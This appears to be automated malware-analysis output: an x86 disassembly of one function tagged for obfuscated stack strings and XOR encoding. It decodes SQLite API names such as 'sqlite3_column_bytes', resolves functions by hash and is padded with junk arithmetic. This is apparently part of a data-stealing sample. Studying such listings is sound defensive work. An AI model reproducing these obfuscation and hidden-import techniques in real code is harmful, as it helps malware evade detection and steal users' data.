Function at 0x41f434
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x118
xor edx, edx
mov word [esp + 0x100], 0x903
mov byte [esp + 0x102], 0xfd
mov ecx, edx
mov al, byte [esp + ecx + 0x100]
add al, 0x6a
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 3
jl 0x41f450
mov byte [esp + 0x8f], dl
mov ecx, edx
mov dword [esp + 0xd0], 0xaeb1b6b8
mov word [esp + 0xd4], 0xaab9
mov byte [esp + 0xd6], 0x78
mov al, byte [esp + ecx + 0xd0]
sub al, 0x45
mov byte [esp + ecx + 0x80], al
inc ecx
cmp ecx, 7
jl 0x41f48c
mov cx, word [0x42bb80]
mov eax, 0xea6d
xor ax, cx
mov byte [esp + 0x87], dl
mov word [0x42bb98], ax
cmp dword [0x42d228], edx
je 0x41f502
mov al, byte [0x42bb90]
mov ecx, 0x1bbe
add al, 0x53
movzx eax, al
add ax, cx
mov cx, word [0x42bb70]
mov word [0x42bb98], ax
movzx eax, cx
add eax, 0x2b93fe94
xor cl, 0x6b
mov dword [0x42bb90], eax
mov al, 1
mov byte [0x42bb94], cl
jmp 0x42004c
imul eax, dword [0x42bb90], 0x345192f5
push ebx
push esi
mov byte [esp + 0x10f], dl
lea edx, [esp + 0x88]
push edi
mov dword [0x42bb90], eax
mov al, cl
add al, 0x6c
mov byte [0x42bb94], al
mov eax, 0x4ffb
and cx, ax
movzx eax, cx
imul eax, eax, 0x67c6
mov word [0x42bb80], cx
lea ecx, [esp + 0x98]
mov word [0x42bb70], ax
call fcn.0041d205
movzx edx, word [0x42bb80]
mov ecx, 0xbc12
imul edx, ecx
mov edi, eax
movzx ecx, byte [0x42bb94]
add ecx, 0x694ff720
mov dword [esp + 0x94], edi
mov dword [0x42bb90], ecx
mov word [0x42bb80], dx
test edi, edi
je 0x41f8dd
movzx eax, dl
mov ecx, 0xf882
imul eax, eax, 0x9a
mov byte [0x42bb94], al
movzx eax, al
or ax, cx
mov word [0x42bb98], ax
lea eax, [esp + 0xe0]
push eax
push edi
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0040f780
mov dl, byte [0x42bb80]
mov ebx, eax
pop ecx
mov cx, word [0x42bb98]
mov eax, 0x45b0
and cx, ax
inc dl
movzx eax, word [0x42bb70]
sub eax, 0x6f87aaa
mov byte [0x42bb94], dl
mov word [0x42bb80], cx
mov dword [0x42bb90], eax
test ebx, ebx
je 0x41f8af
movzx eax, dl
mov ecx, 0x50cf
add ax, cx
mov word [0x42bb98], ax
and al, 0x66
push 0x400
mov byte [0x42bb94], al
call fcn.0040570b
mov dx, word [0x42bb80]
mov esi, eax
mov eax, 0x5ad6
add eax, edx
mov word [0x42bb98], ax
pop ecx
test esi, esi
je 0x41f87d
add byte [0x42bb94], 0x41
movzx ecx, ax
mov eax, 0xf811
or ecx, 0xcd89bef0
xor ax, dx
mov dword [0x42bb90], ecx
mov edx, 0xd016cbb7
xor ecx, ecx
mov word [0x42bb98], ax
push esi
push 0x200
inc ecx
call fcn.00415084
call eax
test eax, eax
je 0x41f87d
mov dword [esp + 0x10c], 0xd9d9d19b
xor ecx, ecx
movzx eax, byte [esp + ecx + 0x10c]
mov edx, 0xff
sub ax, 0x6d
and ax, dx
mov word [esp + ecx*2 + 0x114], ax
inc ecx
cmp ecx, 4
jl 0x41f695
xor eax, eax
mov ecx, 0x7409
mov word [esp + 0x11c], ax
mov edx, 0xf590
movzx eax, byte [0x42bb94]
add cx, ax
xor cx, dx
movzx eax, cl
imul eax, eax, 0xc1
mov word [0x42bb70], cx
xor ecx, 0xbc25
push esi
mov word [0x42bb98], cx
mov byte [0x42bb94], al
movzx eax, al
or eax, 0xaa28b0a4
mov dword [0x42bb90], eax
and eax, 0xaf13
mov word [0x42bb80], ax
call fcn.0040581e
pop ecx
mov ecx, dword [0x42bb90]
mov edx, eax
add ecx, 0xffffb34c
push 0x5c
mov word [0x42bb80], cx
movzx eax, word [esi + edx*2 - 2]
pop ecx
cmp ax, cx
je 0x41f793
push 0x2f
pop ecx
cmp ax, cx
je 0x41f793
mov cx, word [0x42bb70]
mov eax, 0xb7ef
add cx, ax
mov byte [0x42bb94], 0
movzx eax, cx
imul eax, eax, 0x74bf
push 0x5c
pop edi
mov word [esi + edx*2], di
mov edi, dword [esp + 0x94]
movzx eax, ax
mov word [0x42bb80], ax
or eax, 0xe2705054
mov dword [0x42bb90], eax
xor eax, eax
mov word [0x42bb70], cx
mov word [esi + edx*2 + 2], ax
jmp 0x41f79a
mov cx, word [0x42bb70]
movzx ecx, cx
mov eax, 0xd62
imul ecx, eax
push 0x10
pop edx
mov word [0x42bb98], cx
lea ecx, [esp + 0x34]
call fcn.004225f6
movzx ecx, byte [0x42bb94]
mov eax, 0x12bd
xor cx, ax
mov eax, 0x856a
movzx ecx, cx
imul ecx, eax
lea eax, [esp + 0x34]
push eax
push esi
mov word [0x42bb98], cx
call fcn.00405bcb
movzx eax, byte [0x42bb94]
movzx ecx, word [0x42bb80]
add eax, 0x9562383b
mov dword [0x42bb90], eax
shl al, 5
mov byte [0x42bb94], al
mov eax, 0x1693
imul ecx, eax
lea eax, [esp + 0x11c]
push eax
push esi
mov word [0x42bb98], cx
call fcn.00405bcb
movzx eax, word [0x42bb80]
mov edx, ebx
push dword [esp + 0xf0]
imul eax, eax, 0xeab83f14
mov ecx, esi
mov dword [0x42bb90], eax
call fcn.00422781
add esp, 0x14
test al, al
je 0x41f87d
mov dx, word [0x42bb70]
movzx ecx, byte [0x42bb94]
mov al, dl
sub al, 0x15
mov byte [esp + 0x113], 1
mov byte [0x42bb94], al
mov dword [0x42d224], esi
lea eax, [ecx + 0x7122]
mov word [0x42bb98], ax
jmp 0x41f884
mov dx, word [0x42bb70]
mov eax, 0xa000
movzx ecx, dx
imul ecx, eax
push ebx
mov word [0x42bb70], cx
lea eax, [ecx + 0x3e79]
mov word [0x42bb80], ax
call fcn.004056f0
mov dl, byte [0x42bb94]
pop ecx
movzx eax, dl
mov ecx, 0xf671
and ax, cx
push edi
mov word [0x42bb98], ax
call fcn.004056f0
mov si, word [0x42bb98]
mov dl, byte [0x42bb94]
pop ecx
mov cx, word [0x42bb80]
jmp 0x41f8f9
mov si, word [0x42bb98]
mov eax, 0xbdd
movzx ecx, si
xor dl, 0xe4
imul ecx, eax
mov word [0x42bb80], cx
mov ax, word [0x42bb70]
mov edi, 0x36ec
add ax, di
cmp byte [esp + 0x113], 0
movzx edi, ax
movzx ebx, ax
mov dword [esp + 0xe0], edi
mov word [0x42bb70], ax
jne 0x41f99e
mov esi, dword [0x42d224]
movzx eax, dl
imul edx, eax, 0x4948a28d
mov eax, ebx
xor eax, 0xfd6
mov word [0x42bb98], ax
mov dword [0x42bb90], edx
test esi, esi
je 0x41f98e
add bl, 0x2d
mov ecx, 0x77df
movzx eax, bl
xor dl, 0xcd
and ax, cx
mov byte [0x42bb94], dl
push esi
mov word [0x42bb98], ax
call fcn.004056f0
pop ecx
mov cx, word [0x42bb80]
movzx eax, cx
or eax, 0x7124b07a
sub eax, 0x1f40b637
and dword [0x42d224], 0
mov dword [0x42bb90], eax
add cl, 0x40
xor al, al
mov byte [0x42bb94], cl
jmp 0x420049
push dword [0x42d224]
mov eax, 0x62f1
xor ecx, ecx
or ax, si
mov edx, 0xf6e264ab
mov word [0x42bb80], ax
inc ecx
mov eax, dword [esp + 0xe4]
xor bl, bl
movzx eax, al
imul eax, eax, 0x70
mov byte [0x42bb94], al
movzx eax, si
and eax, 0x157b8766
mov dword [0x42bb90], eax
call fcn.00415084
call eax
mov dl, byte [0x42bb94]
mov ecx, eax
xor dword [0x42bb90], 0x9474aaae
add dl, 0xe3
mov dword [0x42d228], ecx
test ecx, ecx
je 0x41ffa8
mov dword [esp + 0x114], 0x3b3e4345
xor ecx, ecx
mov dword [esp + 0x118], 0x31053746
mov dword [esp + 0x11c], 0x40374241
mov al, byte [esp + ecx + 0x114]
add al, 0x2e
mov byte [esp + ecx + 0xd8], al
inc ecx
cmp ecx, 0xc
jl 0x41fa28
mov byte [esp + 0xe4], bl
xor ecx, ecx
mov dword [esp + 0xfc], 0xcccfd4d6
mov dword [esp + 0x100], 0xc296c8d7
mov dword [esp + 0x104], 0xd1c8d3d2
mov word [esp + 0x108], 0xd9c2
mov byte [esp + 0x10a], 0x95
mov al, byte [esp + ecx + 0xfc]
sub al, 0x63
mov byte [esp + ecx + 0x7c], al
inc ecx
cmp ecx, 0xf
jl 0x41fa7a
mov byte [esp + 0x8b], bl
xor ecx, ecx
mov dword [esp + 0xe8], 0xc4c7ccce
mov dword [esp + 0xec], 0xba8ec0cf
mov dword [esp + 0xf0], 0xcbc0cdcb
mov dword [esp + 0xf4], 0xbac0cdbc
mov word [esp + 0xf8], 0x8dd1
mov al, byte [esp + ecx + 0xe8]
sub al, 0x5b
mov byte [esp + ecx + 0x54], al
inc ecx
cmp ecx, 0x12
jl 0x41facc
mov byte [esp + 0x66], bl
xor ecx, ecx
mov dword [esp + 0x114], 0x5e616668
mov dword [esp + 0x118], 0x54285a69
mov dword [esp + 0x11c], 0x655a6968
mov al, byte [esp + ecx + 0x114]
add al, 0xb
mov byte [esp + ecx + 0xec], al
inc ecx
cmp ecx, 0xc
jl 0x41fb06
push 0x2f
pop eax
mov byte [esp + 0xf8], bl
xor ecx, ecx
mov byte [esp + 0xc4], al
mov dword [esp + 0xc5], 0x2835302d
mov dword [esp + 0xc9], 0x3f036f39
mov dword [esp + 0xcd], 0x31293033
mov dword [esp + 0xd1], 0x39280332
mov word [esp + 0xd5], 0x2824
mov al, byte [esp + ecx + 0xc4]
xor al, 0x5c
mov byte [esp + ecx + 0x20], al
inc ecx
cmp ecx, 0x13
jl 0x41fb65
mov byte [esp + 0x33], bl
xor ecx, ecx
mov dword [esp + 0xb0], 0xabaeb3b1
mov dword [esp + 0xb4], 0x9df1a7b6
mov dword [esp + 0xb8], 0xb7aeada1
mov dword [esp + 0xbc], 0xa09dacaf
mov word [esp + 0xc0], 0xadae
mov byte [esp + 0xc2], 0xa0
mov al, byte [esp + ecx + 0xb0]
xor al, 0xc2
mov byte [esp + ecx + 0xc], al
inc ecx
cmp ecx, 0x13
jl 0x41fbbc
movaps xmm1, xmmword [0x428fb0]
xor ecx, ecx
mov dword [esp + 0xfc], 0x5a5d6264
mov dword [esp + 0x100], 0x50245665
mov dword [esp + 0x104], 0x525f5a57
mov dword [esp + 0x108], 0x566b5a5d
movups xmm0, xmmword [esp + 0xfc]
mov byte [esp + 0x1f], bl
mov byte [esp + 0x78], bl
paddb xmm1, xmm0
mov dword [esp + 0x114], 0xc3c6cbcd
movups xmmword [esp + 0x68], xmm1
mov dword [esp + 0x118], 0xb98dbfce
mov dword [esp + 0x11c], 0xcdc9c6bd
mov byte [esp + 0x120], 0xbf
mov al, byte [esp + ecx + 0x114]
sub al, 0x5a
mov byte [esp + ecx + 0xfc], al
inc ecx
cmp ecx, 0xd
jl 0x41fc46
mov byte [esp + 0x109], bl
xor ecx, ecx
mov dword [esp + 0x9c], 0xaeb1b6b8
mov dword [esp + 0xa0], 0xa478aab9
mov dword [esp + 0xa4], 0xbab1b4a8
mov dword [esp + 0xa8], 0xa7a4b3b2
mov dword [esp + 0xac], 0xb8aab9be
mov al, byte [esp + ecx + 0x9c]
sub al, 0x45
mov byte [esp + ecx + 0x3c], al
inc ecx
cmp ecx, 0x14
jl 0x41fc9c
movzx eax, word [0x42bb98]
and dl, 0x69
add eax, 0x49f8e32c
movzx ecx, dl
mov dword [0x42bb90], eax
mov edi, 0x42c770
mov eax, 0xd61d
mov byte [esp + 0x50], bl
xor word [0x42bb70], ax
mov eax, 0x41bd
imul ecx, eax
push 0x24
push 0
push edi
mov byte [0x42bb94], dl
mov word [0x42bb80], cx
call fcn.00403960
movzx eax, word [0x42bb98]
add esp, 0xc
xor eax, 0x2398707b
xor ecx, ecx
mov dword [0x42bb90], eax
mov esi, 0x779af737
lea eax, [esp + 0xd8]
mov edx, esi
push eax
push dword [0x42d228]
inc ecx
call fcn.00415084
call eax
or dword [0x42bb90], 0x1d1071bb
xor ecx, ecx
mov dword [0x42c770], eax
mov edx, esi
lea eax, [esp + 0x7c]
inc ecx
push eax
push dword [0x42d228]
call fcn.00415084
call eax
mov dword [0x42c774], eax
xor ecx, ecx
mov eax, 0xbfba
mov edx, esi
or word [0x42bb98], ax
inc ecx
mov al, byte [0x42bb90]
or al, 0x96
mov byte [0x42bb94], al
lea eax, [esp + 0x54]
push eax
push dword [0x42d228]
call fcn.00415084
call eax
mov dword [0x42c778], eax
xor ecx, ecx
mov eax, 0x3805
mov edx, esi
or ax, word [0x42bb98]
inc ecx
mov word [0x42bb80], ax
lea eax, [esp + 0xec]
push eax
push dword [0x42d228]
call fcn.00415084
call eax
movzx ecx, word [0x42bb80]
mov edx, esi
sub dword [0x42bb90], 0x75617904
mov dword [0x42c77c], eax
mov eax, 0x203e
imul ecx, eax
lea eax, [esp + 0x20]
push eax
push dword [0x42d228]
mov word [0x42bb98], cx
xor ecx, ecx
inc ecx
call fcn.00415084
call eax
mov dword [0x42c780], eax
imul eax, dword [0x42bb90], 0x3d55
xor ecx, ecx
mov edx, esi
inc ecx
mov word [0x42bb80], ax
add eax, 0xffffbe80
mov word [0x42bb70], ax
movzx eax, al
imul eax, eax, 0x50
mov byte [0x42bb94], al
lea eax, [esp + 0xc]
push eax
push dword [0x42d228]
call fcn.00415084
call eax
mov cl, byte [0x42bb94]
mov edx, esi
mov dword [0x42c784], eax
xor cl, 0xac
mov eax, dword [0x42bb90]
add eax, 0x1911
mov byte [0x42bb94], cl
mov word [0x42bb98], ax
movzx eax, cl
mov ecx, 0x15ec
xor ax, cx
xor ecx, ecx
mov word [0x42bb80], ax
inc ecx
lea eax, [esp + 0x68]
push eax
push dword [0x42d228]
call fcn.00415084
call eax
mov dword [0x42c788], eax
mov ecx, 0xd745
movzx eax, byte [0x42bb94]
mov edx, esi
xor ax, cx
xor ecx, ecx
mov word [0x42bb70], ax
inc ecx
lea eax, [esp + 0xfc]
push eax
push dword [0x42d228]
call fcn.00415084
call eax
and byte [0x42bb94], 0x4e
xor ecx, ecx
mov dword [0x42c78c], eax
mov edx, esi
lea eax, [esp + 0x3c]
inc ecx
push eax
push dword [0x42d228]
call fcn.00415084
call eax
mov ecx, 0x277f
mov dword [0x42c790], eax
add word [0x42bb98], cx
cmp dword [0x42c770], 0
je 0x41ff70
cmp dword [0x42c778], 0
je 0x41ff70
cmp dword [0x42c77c], 0
je 0x41ff70
cmp dword [0x42c780], 0
je 0x41ff70
cmp dword [0x42c788], 0
je 0x41ff70
cmp dword [0x42c78c], 0
je 0x41ff70
cmp dword [0x42c774], 0
je 0x41ff70
test eax, eax
je 0x41ff70
cmp dword [0x42c784], 0
je 0x41ff70
movzx ecx, word [0x42bb70]
mov eax, 0x31bf
movzx edx, byte [0x42bb94]
mov bl, 1
imul ecx, eax
or edx, 0xdf7b87b5
mov dword [0x42bb90], edx
xor edx, 0x8343
mov word [0x42bb80], dx
mov word [0x42bb98], cx
jmp 0x41ffa2
movzx eax, byte [0x42bb94]
mov ecx, 0x9624
and ax, cx
mov word [0x42bb80], ax
mov eax, dword [0x42bb90]
push 0x24
add eax, 0xffff863a
push 0
push edi
mov word [0x42bb70], ax
call fcn.00403960
add esp, 0xc
mov ecx, dword [0x42d228]
movzx eax, byte [0x42bb98]
imul eax, eax, 0xd
mov byte [0x42bb94], al
test bl, bl
jne 0x42001c
test ecx, ecx
je 0x42001c
mov al, byte [0x42bb70]
mov edx, 0x26c
and al, 0xa7
mov byte [0x42bb94], al
push ecx
movzx eax, al
xor ecx, ecx
sub ax, dx
inc ecx
mov edx, 0xaf12bdb1
mov word [0x42bb80], ax
call fcn.00415084
call eax
movzx eax, byte [0x42bb80]
mov edx, 0xac89
imul ecx, eax, 0xf7
xor cl, 0xe0
movzx eax, cl
xor ax, dx
mov byte [0x42bb94], cl
and dword [0x42d228], 0
mov word [0x42bb98], ax
mov al, cl
movzx ecx, word [0x42bb70]
and ecx, 0xf022150c
or ecx, 0x1500
mov dword [0x42bb90], ecx
movzx ecx, al
mov eax, 0x6ed7
xor cx, ax
mov al, bl
mov word [0x42bb70], cx
pop edi
pop esi
pop ebx
add esp, 0x118
ret